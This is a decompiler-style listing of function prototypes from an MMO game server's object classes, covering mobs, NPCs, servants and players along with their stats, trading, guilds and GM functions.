__thiscall ShineObjectClass::ShineMob::so_mob_ChaseRangeSquar(int this); unsigned int __thiscall ShineObjectClass::ShineMob::so_mob_SetWeaponAniTime(int this); int __thiscall ShineObjectClass::ShineMob::so_CharName(int this); signed int __thiscall ShineObjectClass::ShineMob::so_OverlapFactor(void *this); int __thiscall ShineObjectClass::ShineMob::so_FillBriefInformation(int this, void *array); void __thiscall ShineObjectClass::ShineMob::so_SendMyBriefInfo(void *this, int a2); bool __thiscall ShineObjectClass::ShineMob::so_IsEmpty(void *this); char __cdecl ShineObjectClass::ShineMob::so_ObjectType(); char __thiscall ShineObjectClass::ShineMob::so_GetLevel(int this); unsigned int __thiscall ShineObjectClass::ShineMob::so_attackspeed1000_packet(void *this); unsigned int __thiscall ShineObjectClass::ShineMob::so_BodySize(int this); int __thiscall ShineObjectClass::ShineMob::so_AttackRange(int this, int a2); int __thiscall ShineObjectClass::ShineMob::so_mob_DataBox(int this); int __thiscall ShineObjectClass::ShineMob::so_mob_Race(int this); unsigned int __thiscall ShineObjectClass::ShineMob::so_WalkSpeed(int this); unsigned int __thiscall ShineObjectClass::ShineMob::so_RunSpeed(int this); int __thiscall ShineObjectClass::ShineMob::so_GetCharRegistNumber(int this); int __thiscall ShineObjectClass::ShineMob::so_LoginLocation(void *this); int __thiscall ShineObjectClass::ShineMob::so_Heal(void *this, int heal); int __thiscall ShineObjectClass::ShineMob::so_GetHP(int this); int __thiscall ShineObjectClass::ShineMob::so_MaxHP(void *this); int __thiscall ShineObjectClass::ShineMob::so_MaxSP(int this); int __thiscall ShineObjectClass::ShineMob::so_GetSP(int this); unsigned int __thiscall ShineObjectClass::ShineMob::so_LostSP(int this, unsigned int a2); int __thiscall ShineObjectClass::ShineMob::so_GainSP(void *this, int a2); void __thiscall ShineObjectClass::ShineMob::smo_ZeroHP(int this); unsigned int __thiscall ShineObjectClass::ShineMob::so_LostHP(int this, unsigned int hp); int __thiscall ShineObjectClass::ShineMob::so_GainHP(void *this, int hp); __int16 __thiscall ShineObjectClass::ShineMob::so_RemakeHandle(void *this, __int16 handle); int __thiscall ShineObjectClass::ShineMob::so_Getabstatebit(int this); __int16 __thiscall ShineObjectClass::ShineMob::so_mob_MobID(int this); int __thiscall ShineObjectClass::ShineMob::so_mob_FalimyList(void *this); int __thiscall ShineObjectClass::ShineMob::so_mob_DistanceFromHome(void *this); int __thiscall ShineObjectClass::ShineMob::so_CurrentTargetHandle(int this); int __thiscall ShineObjectClass::ShineMob::so_CurrentTargetObject(int this); bool __thiscall ShineObjectClass::ShineMob::so_CanSkillTarget(int this); void __thiscall ShineObjectClass::ShineMob::so_mob_RescueObject(#593 *, char); int __thiscall ShineObjectClass::ShineMob::so_mobile_GetIdxName(int this); int __thiscall ShineObjectClass::ShineMob::smo_BattleKillScore(int this); char __thiscall ShineObjectClass::ShineMob::so_mob_CanRecover(int this, char can); char __thiscall ShineObjectClass::ShineMob::so_mob_MobAggro(int this, char can); char __thiscall ShineObjectClass::ShineMob::so_mobile_MobAggroRate(int this); char __thiscall ShineObjectClass::ShineMob::sm_IsPlayerSide(int this); __int16 __thiscall ShineObjectClass::ShineMob::so_getDetectRange(void *this); char __thiscall ShineObjectClass::ShineMob::so_mob_GetbUseNextSkill(int this); char __thiscall ShineObjectClass::ShineMob::so_mob_SetbUseNextSkill(int this, char UseSkill); int __thiscall ShineObjectClass::ShineMob::so_mob_GetNextRoamingWaitTime(int this); int __thiscall ShineObjectClass::ShineMob::so_mob_SetNextRoamingWaitTime(int this, int tWaitTime); int __thiscall ShineObjectClass::ShineMob::so_mob_SetDeadDelayTime(int this, int DelayTime); void __thiscall ShineObjectClass::ShineMob::so_SetLastBattle(int this); int __thiscall ShineObjectClass::ShineMob::so_mob_SetWeaponHitTime(void *this); void __thiscall ShineObjectClass::ShineBandit::_ShineBandit(ShineObjectClass::ShineBandit *this); ShineRTTI *__thiscall ShineObjectClass::ShineBandit::GetRTTI(ShineObjectClass::ShineBandit *this); void __thiscall ShineObjectClass::ShineBandit::so_SendMyBriefInfo(ShineObjectClass::ShineBandit *this, #593 *obj); char __thiscall ShineObjectClass::ShineBandit::so_IsMob(ShineObjectClass::ShineBandit *this); PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *__thiscall ShineObjectClass::ShineBandit::so_GetCharBriefInfo(ShineObjectClass::ShineBandit *this); unsigned __int16 __thiscall ShineObjectClass::ShineBandit::so_RemakeHandle(ShineObjectClass::ShineBandit *this, unsigned __int16 handle); ABNORMAL_STATE_BIT *__thiscall ShineObjectClass::ShineBandit::so_Getabstatebit(ShineObjectClass::ShineBandit *this); void __thiscall ShineObjectClass::ShineBandit::so_FillBriefInformation(ShineObjectClass::ShineBandit *this, void *array); void __thiscall ShineObjectClass::ShineServant::_ShineServant(ShineObjectClass::ShineServant *this); ShineRTTI *__thiscall ShineObjectClass::ShineServant::GetRTTI(ShineObjectClass::ShineServant *this); ShineObjectClass::BattleCamp __thiscall ShineObjectClass::ShineServant::so_mobile_BattleCamp(ShineObjectClass::ShineServant *this); char __thiscall ShineObjectClass::ShineServant::so_ObjectType(ShineObjectClass::ShineServant *this); char __thiscall ShineObjectClass::ShineServant::so_GetLevel(ShineObjectClass::ShineServant *this); unsigned int __thiscall ShineObjectClass::ShineServant::so_AttackRange(ShineObjectClass::ShineServant *this, #593 *target); unsigned __int16 __thiscall ShineObjectClass::ShineServant::so_RemakeHandle(ShineObjectClass::ShineServant *this, unsigned __int16 handle); int __thiscall ShineObjectClass::ShineServant::so_MiscTable(int this); #615 *__thiscall ShineObjectClass::ShineServant::so_serv_FindMaster(ShineObjectClass::ShineServant *this); void __thiscall ShineObjectClass::ShineServant::so_serv_ServantMissionSet(ShineObjectClass::ShineServant *this); #593 *__thiscall ShineObjectClass::ShineServant::so_serv_TargetOfSummonMob(ShineObjectClass::ShineServant *this); void __thiscall ShineObjectClass::ShineServant::so_serv_SetTarget(ShineObjectClass::ShineServant *this, #593 *target); char __thiscall ShineObjectClass::ShineServant::sm_IsPlayerSide(ShineObjectClass::ShineServant *this); char __thiscall ShineObjectClass::ShineServant::so_GetDisposition(ShineObjectClass::ShineServant *this); void __thiscall ShineObjectManager::ShineObjectManager(ShineObjectManager *this); void *__thiscall ShineObjectClass::ShineAxialFlag::_vector_deleting_destructor_(ShineObjectClass::ShineAxialFlag *this, unsigned int); void *__thiscall ShineObjectClass::ShineBandit::_vector_deleting_destructor_(ShineObjectClass::ShineBandit *this, unsigned int); void *__thiscall ShineObjectClass::ShineMob::_vector_deleting_destructor_(unsigned int); void *__thiscall ShineObjectClass::ShineServant::_vector_deleting_destructor_(ShineObjectClass::ShineServant *this, unsigned int); void __thiscall std::vector>::_vector>(std::vector > *this); void __thiscall ShineObjectClass::ShineNPC::_ShineNPC(ShineObjectClass::ShineNPC *this); ShineRTTI *__thiscall ShineObjectClass::ShineNPC::GetRTTI(ShineObjectClass::ShineNPC *this); ShineObjectClass::BattleCamp __thiscall ShineObjectClass::ShineNPC::so_mobile_BattleCamp(ShineObjectClass::ShineNPC *this); void __thiscall ShineObjectClass::ShineNPC::so_SetGateBriefInform(ShineObjectClass::ShineNPC *this, char *linktoclient); unsigned int __thiscall ShineObjectClass::ShineNPC::so_MaxHP(ShineObjectClass::ShineNPC *this); unsigned __int16 __thiscall ShineObjectClass::ShineNPC::so_RemakeHandle(ShineObjectClass::ShineNPC *this, unsigned __int16 handle); void __thiscall ShineObjectClass::ShineNPC::so_npc_SetLocation(ShineObjectClass::ShineNPC *this, Name3 MapName, int X, int Y, int Dir); void *__thiscall ShineObjectClass::ShineNPC::_vector_deleting_destructor_(ShineObjectClass::ShineNPC *this, unsigned int); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, const unsigned int *_Val); void __thiscall ItemActionObserveManager::_ItemActionObserveManager(ItemActionObserveManager *this); int __thiscall ShineObjectClass::ShinePlayer::_ShinePlayer(int this); ShineRTTI *__cdecl ShineObjectClass::ShinePlayer::GetRTTI(); int __thiscall ShineObjectClass::ShinePlayer::so_ItemInventory(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_TradeStructure(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_TradeBoard(void *this); char __thiscall ShineObjectClass::ShinePlayer::so_GetWaitTradeResFromDB(int this); char __thiscall ShineObjectClass::ShinePlayer::so_SetWaitTradeResFromDB(int this, char value); int __thiscall ShineObjectClass::ShinePlayer::so_ply_SilverWingCoolTime(int this); char __thiscall ShineObjectClass::ShinePlayer::smo_ply_SkillCoolTimeUpdate(int this, unsigned __int16 skill, unsigned int eoct); int __thiscall ShineObjectClass::ShinePlayer::so_PacketEncryptClass(void *this); __int64 __thiscall ShineObjectClass::ShinePlayer::so_ply_CurrentMoney(int this); __int64 __thiscall ShineObjectClass::ShinePlayer::so_ply_CurrentExp(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_CurrentFame(int this); char __thiscall ShineObjectClass::ShinePlayer::so_AdministratorLevel(int this); int __thiscall ShineObjectClass::ShinePlayer::so_extradata(void *this); __int16 __thiscall ShineObjectClass::ShinePlayer::so_SetParty(int this, __int16 party); int __thiscall ShineObjectClass::ShinePlayer::so_CharName(void *this); char __thiscall ShineObjectClass::ShinePlayer::so_datasync(int this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_SoloingMode(int this); int __thiscall ShineObjectClass::ShinePlayer::so_SendMyBriefInfo(void *this, int a2); int __thiscall ShineObjectClass::ShinePlayer::so_GetDataSocketStream(int this); int __thiscall ShineObjectClass::ShinePlayer::so_GetGameSocketStream(int this); bool __thiscall ShineObjectClass::ShinePlayer::so_IsEmpty(int this); char __cdecl ShineObjectClass::ShinePlayer::so_TargetType(); char __thiscall ShineObjectClass::ShinePlayer::so_GetLevel(int this); char __thiscall ShineObjectClass::ShinePlayer::so_GetClass(int this); unsigned int __thiscall ShineObjectClass::ShinePlayer::so_attackspeed1000(void *this); signed int __cdecl ShineObjectClass::ShinePlayer::so_BodySize(); int __thiscall ShineObjectClass::ShinePlayer::so_GetCharBriefInfo(int this); signed int __thiscall ShineObjectClass::ShinePlayer::so_AttackRange(void *this, int a2); __int16 __thiscall ShineObjectClass::ShinePlayer::so_WalkSpeed(void *this); __int16 __thiscall ShineObjectClass::ShinePlayer::so_RunSpeed(void *this); __int16 __thiscall ShineObjectClass::ShinePlayer::so_GetWMSHandle(int this); int __thiscall ShineObjectClass::ShinePlayer::so_GetCharRegistNumber(int this); int __thiscall ShineObjectClass::ShinePlayer::so_GetUserRegistNumber(int this); int __thiscall ShineObjectClass::ShinePlayer::so_LoginLocation(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_fullbufferitem(int this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr); int __thiscall ShineObjectClass::ShinePlayer::so_fullbufferitem_box(int this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr, int box, ItemBag *bag); int __thiscall ShineObjectClass::ShinePlayer::so_Heal(void *this, int heal); int __thiscall ShineObjectClass::ShinePlayer::so_GetHP(int this); int __thiscall ShineObjectClass::ShinePlayer::so_GetSP(int this); unsigned int __thiscall ShineObjectClass::ShinePlayer::so_LostSP(int this, unsigned int a2); int __thiscall ShineObjectClass::ShinePlayer::so_GainSP(void *this, int a2); void __thiscall ShineObjectClass::ShinePlayer::smo_ZeroHP(int this); unsigned int __thiscall ShineObjectClass::ShinePlayer::so_LostHP(void *this, int hp); int __thiscall ShineObjectClass::ShinePlayer::so_GainHP(void *this, int hp); __int16 __thiscall ShineObjectClass::ShinePlayer::so_RemakeHandle(void *this, __int16 handle); int __thiscall ShineObjectClass::ShinePlayer::so_SetSocketSession(int this, int session); int __thiscall ShineObjectClass::ShinePlayer::so_Getabstatebit(int this); __int16 __thiscall ShineObjectClass::ShinePlayer::so_PartyRegistNumber(int this); __int16 __thiscall ShineObjectClass::ShinePlayer::so_GetRaidNumber(int this); __int16 __thiscall ShineObjectClass::ShinePlayer::so_SetRaidNumber(int this, __int16 pRaidNum); signed int __thiscall ShineObjectClass::ShinePlayer::so_GetPartyGroup(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_LearnPassive(void *this, unsigned __int16 skill); char __thiscall ShineObjectClass::ShinePlayer::so_tradestart(int this, int a2); int __thiscall ShineObjectClass::ShinePlayer::so_TradeBoardreset(int this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_reinforce_reloc(#1265 *, char *, int, int); void *__thiscall ShineObjectClass::ShinePlayer::so_ply_dupmenu_close(void *this, __int16 menutype); char __thiscall ShineObjectClass::ShinePlayer::so_ply_dupmenu_canmenuopen(int this, unsigned __int16 menu); void *__thiscall ShineObjectClass::ShinePlayer::so_ply_dupmenu_Set(void *this, __int16 menutype); int __thiscall ShineObjectClass::ShinePlayer::so_ply_TotalSkillEmpower(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_skillempowerclear(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_StoreMoney(int this, int cen, int a3); int __thiscall ShineObjectClass::ShinePlayer::so_ply_StoreFame(int this, int fame); int __thiscall ShineObjectClass::ShinePlayer::sp_lastpickuptime(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_PartyRecharge(void *this, int recoverate); int __thiscall ShineObjectClass::ShinePlayer::so_GetCharacterTitle(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_GetStatDistStr(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetInventoryLockList(void *this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_GetGender(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildNo(int this, int gldnum); int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuild(int this, int gld); int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetMyGuildStorageHandle(void *this); __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildStorageHandle(int this, __int16 nGuildStorageHandle); int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetMyGuildAcademyRewardStorageHandle(void *this); __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildAcademyRewardStorageHandle(int this, __int16 nGuildAcademyRewardStorageHandle); int __thiscall ShineObjectClass::ShinePlayer::so_ply_QuestDiary(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_TreasureChestLocationManager(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_InventorySize(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_StorageSize(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_StreetBoothSlot(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_ChargedEffectContainer(void *this); signed int __cdecl ShineObjectClass::ShinePlayer::smo_BattleKillScore(); void __thiscall ShineObjectClass::ShinePlayer::so_ply_AllCastCancel(int this); ShineCommonParameter::FreeStatStr *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatStr(void *this); ShineCommonParameter::FreeStatInt *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatInt(void *this); ShineCommonParameter::FreeStatDex *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatDex(void *this); ShineCommonParameter::FreeStatCon *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatCon(void *this); ShineCommonParameter::FreeStatMen *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatMen(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_ChargedStatPlus(int this); unsigned int __thiscall ShineObjectClass::ShinePlayer::so_ply_RemoveWhen(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_IncNGet_PKCount(int this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_HideMyIdentity(int this); int __thiscall ShineObjectClass::ShinePlayer::smo_GMChatColor(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildAcademy(int this, int gld); int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetMyGuildAcademyNo(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildAcademyNo(int this, int gldnum); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_isAcademyGuildMember(int this); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_isIAmGuildAcademyMaster(void *this); bool __thiscall ShineObjectClass::ShinePlayer::sp_IsLockedRefundReq(int this); void __thiscall ShineObjectClass::ShinePlayer::sp_LockRefundReq(int this); bool __thiscall ShineObjectClass::ShinePlayer::sp_IsLockedRefundCancelReq(int this); void __thiscall ShineObjectClass::ShinePlayer::sp_LockRefundCancelReq(int this); char __thiscall ShineObjectClass::ShinePlayer::so_GetPossibleNewConnect(int this); char __thiscall ShineObjectClass::ShinePlayer::so_GetDisposition(int this); char __thiscall ShineObjectClass::ShinePlayer::so_GetPKModeOn(int this); char __thiscall ShineObjectClass::ShinePlayer::so_SetPKModeOn(int this, char src); char __thiscall ShineObjectClass::ShinePlayer::sp_FreeStat_Get_DecreaseNum(int this, int Stat, unsigned __int8 a3); char __thiscall ShineObjectClass::ShinePlayer::sp_CharFreeStat_IsLock(int this); void __thiscall ShineObjectClass::ShinePlayer::sp_CharFreeStat_Lock(int this); void __thiscall ShineObjectClass::ShinePlayer::sp_CharFreeStat_UnLock(int this); void __thiscall ShineObjectClass::ShinePlayer::so_Gamble_SetPrevMapName(int this, int MapName, int a3, int a4); __int64 __thiscall ShineObjectClass::ShinePlayer::so_Gamble_CurrentCoin(int this); int __thiscall ShineObjectClass::ShinePlayer::so_Gamble_StoreCoin(int this, int NewCoin, int a3); __int64 __thiscall ShineObjectClass::ShinePlayer::so_Gamble_CurrentExchangedCoin(int this); int __thiscall ShineObjectClass::ShinePlayer::so_Gamble_StoreExchangedCoin(int this, int NewExchangedCoin, int a3); __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_ReactionNpcHandle(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetDamageAbsorb(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetDamageAbsorb(int this, int nDamageAbsorb); int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetRemainingDamageAbsorb(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetRemainingDamageAbsorb(int this, int nRemainingDamageAbsorb); int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetProtactionFromGameType(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetProtactionFromGameType(int this, unsigned __int8 nType); char __thiscall ShineObjectClass::ShinePlayer::so_ply_IsRebirth(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_HealRate(int this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_setIsRebirth(int this, char bRebirthState); int __thiscall ShineObjectClass::ShinePlayer::so_ply_setHealRate(int this, int nHealRate); bool __thiscall ShineObjectClass::ShinePlayer::so_PacketBufferFlush(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_StoreCharData(void *this, unsigned __int16 handle, char *fromwhere); void __thiscall BriefInformationCharacter::bic_InitBriefInfo(BriefInformationCharacter *this, unsigned __int16 handle, int charmode, ZoneCharData *chardata, CHARTITLE_BRIEFINFO *chartitle, char *fromwhere); int __thiscall ShineObjectClass::ShinePlayer::so_FillBriefInformation(int this, int array); unsigned int __thiscall ShineObjectClass::ShinePlayer::so_MaxHP(void *this); unsigned int __thiscall ShineObjectClass::ShinePlayer::so_MaxSP(void *this); int __thiscall ShineObjectClass::ShinePlayer::sp_MaxSP(void *this); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_NextBashTime(int this); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_NextBashTime_AfterSkill(int this, int animation_millisec); signed __int16 __thiscall ShineObjectClass::ShinePlayer::so_CurrentTargetHandle(int this); int __thiscall ShineObjectClass::ShinePlayer::so_CurrentTargetObject(int this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_KQSuccess(int this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_KQFail(int this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ReinforceFoldtent(void *this); void *__thiscall ShineObjectClass::ShinePlayer::_vector_deleting_destructor_(unsigned int); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); // void __usercall _L210586(int a1); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); // void __usercall _L210706(int a1); std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, const unsigned int *_Val); bool __cdecl _ErrorSendPlayer(#593 *, int, const char *); char __thiscall ShineObjectManager::som_FreeObject(ShineObjectManager *this, unsigned __int16 hnd, ShineObjectClass::RemoveWhen when, int flag); signed int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_Kickout(void *this); signed int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_Logout(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTREADY_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_USER_NORMALLOGOUT_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_MULTY_LINK_SELECT_REQ(void *this, int netcmd, int len, __int16 handle); char __thiscall List::l_PushA(List *this, #593 *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak int __thiscall ShineObjectClass::ShineObject::operator_(int this, int a2); int __thiscall ShineObjectClass::ShineObject::__unnamed::operator_(int this, int a2); int __thiscall ShineObjectClass::ShineObject::LuaAi::operator_(int this, int a2); char __thiscall List::l_PushZ(List *this, #593 *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, #593 *ele); char __thiscall List::l_PopZ(List *this, #593 *ele); void __thiscall ShineObjectClass::ShinePlayer::so_Unmark(void *this, int when, char logoutpacket, unsigned __int8 SaveType); void __thiscall ShineObjectClass::ShineAxialFlag::ShineAxialFlag(ShineObjectClass::ShineAxialFlag *this); int __thiscall ShineObjectClass::ShinePlayer::ShinePlayer(void *hd); void __thiscall ShineObjectClass::ShinePlayer::so_banning(void *this, int when); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_SkillCoolTime(void *psubject, int skill, unsigned int cooltime_milli, int delaygroupnum, unsigned int delaygroupcooltime_milli, int empowdiscount); void __thiscall ShineObjectClass::ShinePlayer::so_LearnSkill(int this, unsigned __int16 skill); void __thiscall CharaterSkillList::csl_Learn(CharaterSkillList *this, unsigned __int16 skill); char __thiscall CharaterSkillList::csl_SPCheck(CharaterSkillList *this, #593 *, unsigned __int16, SkillDataBox::SkillDataIndex *, SKILL_EMPOWER *, char); void *__thiscall ShineObjectClass::ShineMob::ShineMob(void *hd); void __thiscall ShineObjectClass::ShineBandit::ShineBandit(ShineObjectClass::ShineBandit *this); void __thiscall ShineObjectClass::ShineServant::ShineServant(ShineObjectClass::ShineServant *this); void __thiscall ShineObjectClass::ShineNPC::ShineNPC(ShineObjectClass::ShineNPC *this); void __thiscall ShineObjectManager::som_Initialize(ShineObjectManager *this); char __thiscall ShineObjectClass::ShineMobileObject::smo_SetCaptivate(void *this, char bValue); char __thiscall ShineObjectClass::ShineMobileObject::smo_IsCaptivate(int this); bool __thiscall ShineObjectClass::ShineMobileObject::smo_IsFreePKTarget(int this, int a2); int __thiscall ShineObjectClass::ShineMob::smo_mob_RegenAfterLogout(void *this); char __thiscall ShineObjectClass::ShineMobileObject::smo_IsActiveMode(void *this); void __thiscall ShineObjectClass::ShineMobileObject::smo_LoginAfterLogout(void *this, int newloc); void __thiscall ShineObjectClass::ShineMob::smo_LoginAfterLogout(void *this, int newloc); char __thiscall ShineObjectClass::ShinePlayer::so_GetItemLot(void *this, const char *item, int lot, int locked); void __thiscall AxialListDeathAura::_AxialListDeathAura(AxialListDeathAura *this); int __thiscall ShineObjectClass::ShinePlayer::sp_HPChangeCheck(void *this, int delta, int plusminus, int fnc); void __cdecl ShineObjectClass::ShinePlayer::sp_NoAdmin(); char __thiscall AxialListDeathAura::ali_Work(AxialListDeathAura *this, #593 *, #593 *, unsigned int); void __thiscall ShineObjectClass::ShinePlayer::sp_DeathAura(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_Immortal(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_KillAllMob(void *this); char __thiscall ShineObjectClass::ShineMob::sm_IsUseSkill(void *this, __int16 skillid); void __thiscall ShineObjectClass::ShineMob::so_mob_SetLifeTime(int this, int Time); void __cdecl ShineObjectClass::ShineMob::sm_DamageSet(#734 *, char *, char *, char *, char *, char *, char *, char *, char *, char *, char *); char __thiscall ShineObjectClass::ShineMob::so_mob_CheckNextRoamingWait(int this); char __thiscall ShineObjectClass::ShineMob::so_mob_SkillParameterSet_WeaponIndex(void *this, unsigned __int8 nWeaponIndex); bool __thiscall ShineObjectClass::ShineMob::so_mob_CanPvPAttack(void *this, int a2); NPCManager::NPCInformTemplete *__thiscall NPCManager::nm_FindNPCInfo(NPCManager *this, unsigned __int16 hnd); void __thiscall ShineObjectClass::ShinePlayer::sp_SetTotalMoveSpeed(int this, int unSpeed); int __thiscall ShineObjectClass::ShinePlayer::sp_LinktoCurMapSaveData(int this); int __thiscall ShineObjectClass::ShinePlayer::smo_CaptivateStateTask(int this); char __thiscall ShineObjectClass::ShinePlayer::sp_IsIgnoreCoolTime(int this); char __thiscall ShineObjectClass::ShinePlayer::sp_SetIgnoreCoolTime(int this, char bValue); bool __thiscall ShineObjectClass::ShinePlayer::sp_IsNormalAttack(int this); void __thiscall ShineObjectClass::ShinePlayer::sp_SendAutoPickToClient(void *this, char bEnable); char __thiscall ShineObjectClass::ShinePlayer::sp_SaveAutoPick(int this, char bEnable); char __thiscall ShineObjectClass::ShinePlayer::sp_GetAutoPick(int this); bool __thiscall ShineObjectClass::ShinePlayer::sp_IsAutoPickEnableState(int this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_IsLink_OutMap_AndSendErrorMsg(void *this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_IsLink_In_MapAndSendErrorMsg(void *this); char __thiscall ShineObjectClass::ShinePlayer::sp_UserCheckFreeStatRelease(int this); bool __thiscall ShineObjectClass::ShinePlayer::sp_IsUserCheckFreeStatEnable(void *this); int __thiscall ShineObjectClass::ShinePlayer::sp_UserCheckCalcCurrentStat(int this); ShineCommonParameter::FreeStatStr *__thiscall ShineObjectClass::ShinePlayer::so_ply_CheckFreeStatStr(void *this); ShineCommonParameter::FreeStatInt *__thiscall ShineObjectClass::ShinePlayer::so_ply_CheckFreeStatInt(void *this); ShineCommonParameter::FreeStatDex *__thiscall ShineObjectClass::ShinePlayer::so_ply_CheckFreeStatDex(void *this); ShineCommonParameter::FreeStatCon *__thiscall ShineObjectClass::ShinePlayer::so_ply_CheckFreeStatCon(void *this); ShineCommonParameter::FreeStatMen *__thiscall ShineObjectClass::ShinePlayer::so_ply_CheckFreeStatMen(void *this); void __thiscall ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(ShineObjectClass::PlayerMobInfoMapping *this, const char *pkIndexName); int __thiscall ShineObjectClass::ShinePlayer::so_GetRaid(int this); char __thiscall ShineObjectClass::ShinePlayer::so_SetRaid(void *this, int pRaid); char __thiscall ShineObjectClass::ShinePlayer::so_GetInsDunGeonInRegNoAndType(void *this, int rCategory, int rRegNum); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_PK_MODE_TOGGLE_REQ(int this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GtItemEffectMsg(void *this, __int16 nIndexID); void __thiscall ShineObjectClass::ShinePlayer::sp_StateChangeToNormal(void *this); char __thiscall ShineObjectClass::ShinePlayer::sp_SpamInitSpamerInfo(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SpamSendBlockTimeToClient(int this); int __thiscall ShineObjectClass::ShinePlayer::so_GetItemActionObserves(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_SetAutoSaveTime(int this, int tCurrentTime, int NextTime); bool __thiscall ShineObjectClass::ShinePlayer::sp_CharTitleChangeAvailable(int this); int __thiscall ShineObjectClass::ShinePlayer::sp_SetCharTitleChangeAvailableTime(int this, int time); signed int __thiscall ShineObjectClass::ShinePlayer::sp_GetEmptyItemInventoryCount(int this); char __thiscall ShineObjectClass::ShinePlayer::sp_SetMysteryVaultUI(int this, char val); int __thiscall ShineObjectClass::ShinePlayer::so_SetSpamerChatBan(int this, int ChatBan); bool __thiscall ShineObjectClass::ShinePlayer::sp_IsSpameChatBan(int this); void __thiscall ShineObjectClass::ShinePlayer::sp_AdeliaMap_SendMoveTo(void *this, __int16 nError); unsigned int __thiscall ShineObjectClass::ShinePlayer::so_ply_ProtactionFromGameTypeCalc(int this, int nRewardValue); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SetProtactionFromGameAbstate(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SendMenuOpenReq(void *this, int a2); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_CanPvPAttack(int this, int a2); char __thiscall ShineObjectClass::ShinePlayer::so_ply_Friend_SetList(int this, int pFriendData); void __thiscall ShineObjectClass::ShinePlayer::so_ply_Friend_Add(int this, int nFriendNo); void __thiscall ShineObjectClass::ShinePlayer::so_ply_Friend_Del(int this, int nFriendNo); char __thiscall ShineObjectClass::ShinePlayer::so_ply_IsMyFriend(int this, int nFriendNo); // int __stdcall 